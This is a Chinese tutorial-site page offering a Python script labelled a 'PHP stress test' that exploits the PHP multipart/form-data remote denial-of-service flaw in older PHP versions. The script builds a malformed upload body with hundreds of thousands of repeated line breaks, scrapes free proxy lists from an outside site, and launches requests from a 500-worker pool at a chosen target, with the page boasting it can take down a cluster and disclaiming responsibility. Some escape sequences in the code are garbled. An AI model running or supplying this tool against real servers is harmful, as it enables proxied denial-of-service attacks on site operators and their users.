下载鸥 > 网站下载 > 开发教程 > PHP

PHP压力测试脚本

1571 2021-02-04 11:38:14

收藏

简述

注意:此压力测试脚本造成的任何后果由使用者自行承担

PHP压力测试脚本,10M/S带宽秒杀集群Google 现查的,利用 PHP Multipart / form-data远程dos漏洞。
 

适用 PHP 版本
PHP 5.6.9 以下版本
PHP 5.5.25 以下版本
PHP 5.4.41 以下版本
PHP 5.3 及所有以前的版本

 

使用方法

将以下内容保存成 .py 文件,执行 python xxx.py -t "http://PHP页面网址" 请勿输入其他人的网站。
 

注意:此工具造成的任何后果由使用者自行承担

去掉此段注释以运行脚本,Remove this comment to run script

import sys
import urllib,urllib2
import datetime
import re
import os
import threading
import time
import random   
from optparse import OptionParser
from multiprocessing import Pool
 
def check_php_multipartform_dos(url,post_body,headers,ip):
    proxy_handler = urllib2.ProxyHandler({"http" : ip})
    null_proxy_handler = urllib2.ProxyHandler({})
    opener = urllib2.build_opener(proxy_handler)
    urllib2.install_opener(opener)
    req = urllib2.Request(url)
    for key in headers.keys():
        req.add_header(key,headers[key])
    starttime = datetime.datetime.now();
    fd = urllib2.urlopen(req,post_body)
    html = fd.read()
    endtime = datetime.datetime.now()
    usetime=(endtime - starttime).seconds
    if(usetime > 5):
        result = url+" is vulnerable";
    else:
        if(usetime > 3):
            result = "need to check normal respond time"
    return [result,usetime]
#end
 
def get_stock_html(URL):
        opener = urllib2.build_opener(
                urllib2.HTTPRedirectHandler(),
                urllib2.HTTPHandler(debuglevel=0),
                )
        opener.addheaders = [
                ('User-agent',
                 'Mozilla/4.0 (compatible;MSIE 7.0;'
                 'Windows NT 5.1; .NET CLR 2.0.50727;'
                 '.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
                 ]
        url = "http://proxy.com.ru/%s"%URL
        response = opener.open(url)
        return ''.join(response.readlines())
 
def Getting_Url():
        global CC_Url
        file = open('url','r')
        CC_Url = file.readlines()
        file.close()
 
def Getting_list():
        global IP_Port
        IP_Port = []
        for html_list in re.findall('list_d+.html',get_stock_html("list_1.html")):
                print "getting %s's IP:PORT"%html_list
                IP_Port += eval(re.sub('</td><td>',':',"%s"%re.findall('d+.d+.d+.d+</td><td>d+',get_stock_html(html_list))))
 
def main():
    parser = OptionParser()
    parser.add_option("-t", "--target", action="store", 
                  dest="target", 
                  default=False, 
          type="string",
                  help="test target")
    (options, args) = parser.parse_args()
    target = options.target
 
    Num=350000
    headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
            'Accept-Encoding':'gzip, deflate',
            'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
    body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1nContent-Disposition: form-data; name="file"; filename=sp.jpg"
    payload=""
    for i in range(0,Num):
        payload = payload + "an"
    body = body + payload;
    body = body + "Content-Type: application/octet-streamrnrndatadatarn------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
    print "starting...";
    Getting_list()
    pool = Pool(500)
    for ip in IP_Port:
        pool.apply_async(check_php_multipartform_dos, [target,body,headers,ip])
    pool.close()
    pool.join()
 
if __name__=="__main__":
    main()

本文地址:https://xzo.com.cn/develop/php/550.html

有帮助,很赞!

信息来源:精准像素
导出教程 下载word版教程
发表评论 共有条评论
关于PHP

PHP是一种服务器端、跨平台、html嵌入式的脚本语言,其功能十分强大、入门简单。在过去,民间一直有说法称“PHP是最好的编程语言”,是PHP开发者对自身所使用语言的肯定。

PHP曾是最主流的网站web开发语言之一,现在也依然十分流行。

推荐PHP开发教程
PHP怎样正则匹配段落里的图片并提取图片链接?
PHP怎样正则匹配段落里的图片并提取图片链接?

在程序开发的过程中,我们可能需要提取段落里的图片用作缩略图。那么,这个正则...

19 1014
php怎样开发一个访问密码的界面防止资源被爬取?
php怎样开发一个访问密码的界面防止资源被爬取?

互联网上每天都有很多爬虫到处爬取内容,你可能不知道他们是干嘛的,但其中肯定...

1 476
当缓存文件大于4KB,不能用cookie时的替代方案就是session
当缓存文件大于4KB,不能用cookie时的替代方案就是session

鸥哥最近在开发一个项目,出于对用户隐私的保护,数据一概不能存储到数据表,而是...

1 574
php简单的数组介绍与应用
php简单的数组介绍与应用

数组在实际开发过程中运用非常频繁,通过合理运用数组,我们可以顺利实现各种数...

1 467
json数据{}转为php数组[]
json数据{}转为php数组[]

json是使用非常广泛的数据,通过使用json,我们还可以实现多种语言的联动。今天...

0 426
php分割中文字符源码分享与可行性分析
php分割中文字符源码分享与可行性分析

php分割中文字符,之前计划的是可用于搜索结果、tag结果关键词标红。但在实际...

0 527
php常用基础函数isset()介绍
php常用基础函数isset()介绍

isset() 函数用于检测变量是否已设置并且非 NULL。如果已经使用 unset() 释...

0 464
php正则提取字符串中的数字并打印输出
php正则提取字符串中的数字并打印输出

我们在网站开发的过程中经常需要处理数据,今天讲讲怎样用正则提取字符串中的...

0 485
推荐插件
帝国cms智能自动审核按星期几审核指定栏目带推送插件
帝国cms智能自动审核按星期几审核指定栏目带推送插件

采集站的必备资源是自动审核,要做到日收录也离不开定时发布。而本插件的自动...

0 1413
帝国cms在线考试系统模板插件
帝国cms在线考试系统模板插件

一直没看到好用的帝国cms在线考试插件,所以自己开发了一款。在线考试插件用...

0 1420
帝国cms访问统计ip地址链接与封禁插件下载
帝国cms访问统计ip地址链接与封禁插件下载

下载鸥开发了这款帝国cms封禁ip插件,自动记录访问情况,让我们可以更快的识别...

0 1220
帝国cms百度AI图像清晰度增强api接口对接插件
帝国cms百度AI图像清晰度增强api接口对接插件

通过本插件,可以实现帝国cms网站对接百度云api实现图像清晰度增强的功能。经...

0 621
帝国cms网站会员登录与退出历史记录日志插件
帝国cms网站会员登录与退出历史记录日志插件

帝国cms默认只有上次登录时间与ip,没有一个记录清单,所以今天,我们分享这个帝...

0 500
帝国cms百度AI图像无损放大api接口对接插件
帝国cms百度AI图像无损放大api接口对接插件

通过本插件,可以实现帝国cms网站对接百度云api实现图像无损放大的功能。经过...

0 551
帝国cms批量添加后台用户插件
帝国cms批量添加后台用户插件

使用帝国cms的企业用户、新闻资讯类站点的用户很多,此类站点很多时候需要有...

0 898
帝国cms自动生成文章新闻目录插件下载
帝国cms自动生成文章新闻目录插件下载

用户体验是我们的需求,百度蜘蛛的认可更是我们的需求。毕竟,没有收录排名,何来...

0 1263
客服QQ:341553759
扫码咨询 常见问题 >
官方交流群:90432500
点击加入